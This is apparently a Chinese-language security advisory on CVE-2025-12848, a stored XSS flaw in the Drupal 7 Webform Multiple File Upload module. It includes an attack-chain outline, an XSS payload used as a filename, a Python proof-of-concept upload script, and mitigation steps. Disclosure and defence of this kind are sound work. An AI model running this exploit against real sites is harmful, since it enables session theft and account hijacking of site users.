IPBUF安全漏洞报告
English
CVE-2025-12848 CVSS 6.1 中危

CVE-2025-12848 Drupal Webform Multifile跨站脚本漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-12848
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Webform Multiple File Upload module for Drupal 7.x

相关标签

CVE-2025-12848XSS跨站脚本攻击DrupalWebform文件上传存储型XSSWebform Multiple File Upload第三方库漏洞MEDIUM

漏洞概述

CVE-2025-12848是Drupal 7.x系统中Webform Multiple File Upload模块的一个跨站脚本(XSS)漏洞。该漏洞存在于文件名称渲染器中,未经身份验证的攻击者可以通过上传包含恶意文件名的文件来利用此漏洞。攻击者可构造恶意的文件名(如<img src=1 onerror=alert(document.domain)>),当文件上传到启用了Multifile字段且文件类型验证被禁用的Webform节点时,恶意JavaScript代码将在受害者的浏览器上下文中执行,从而窃取用户会话信息、劫持账户或执行其他恶意操作。该问题源于第三方库,官方已在GitHub上发布了修复补丁(https://github.com/fyneworks/multifile/pull/44),建议受影响的用户及时应用补丁或升级到修复版本。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于Webform Multiple File Upload模块的文件名渲染逻辑中。攻击者利用文件上传功能上传文件名包含恶意JavaScript代码的文件,当其他用户访问或查看该文件列表时,浏览器会解析并执行文件名中的恶意脚本。具体利用条件包括:1)目标Drupal站点安装了Webform Multiple File Upload模块;2)存在启用Multifile字段的Webform节点;3)该字段的文件类型验证被禁用。攻击者只需构造类似<img src=1 onerror=alert(document.domain)>的文件名即可触发XSS。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,攻击复杂度低,无需认证,但需要用户交互。由于是存储型XSS,影响范围更广,所有访问该文件列表的用户都可能受到影响。

攻击链分析

STEP 1
步骤1
攻击者识别目标Drupal站点,确认其安装了Webform Multiple File Upload模块
STEP 2
步骤2
攻击者找到一个启用了Multifile字段且文件类型验证被禁用的Webform节点
STEP 3
步骤3
攻击者构造包含XSS payload的文件名(如<img src=1 onerror=alert(document.domain)>)并上传
STEP 4
步骤4
恶意文件名被存储在服务器端,当其他用户访问该文件列表页面时触发XSS
STEP 5
步骤5
攻击者通过XSS窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12848 PoC - XSS via malicious filename in Drupal Webform Multifile # Target: Drupal 7.x with Webform Multiple File Upload module # Vulnerability: XSS in file name renderer target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.local' webform_path = '/webform/multifile-endpoint' # Malicious filename to trigger XSS malicious_filename = '<img src=1 onerror=alert(document.domain)>' # Prepare the malicious file files = { 'files[files][]': ( malicious_filename, 'dummy content', 'application/octet-stream' ) } # Send the malicious file upload request try: response = requests.post( f'{target_url}{webform_path}', files=files, timeout=10 ) print(f'Status Code: {response.status_code}') print(f'Response: {response.text[:500]}') print('\nPoC sent successfully. If the target is vulnerable,') print('the XSS payload will execute when the filename is rendered.') except requests.exceptions.RequestException as e: print(f'Request failed: {e}')

影响范围

Webform Multiple File Upload module for Drupal 7.x (所有未修复版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或删除Webform Multiple File Upload模块;2)在Multifile字段设置中启用严格的文件类型验证;3)对所有上传的文件名进行严格的输入过滤和HTML实体编码;4)配置Web应用防火墙(WAF)规则拦截包含XSS特征的请求;5)限制文件上传功能仅对授权用户开放。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表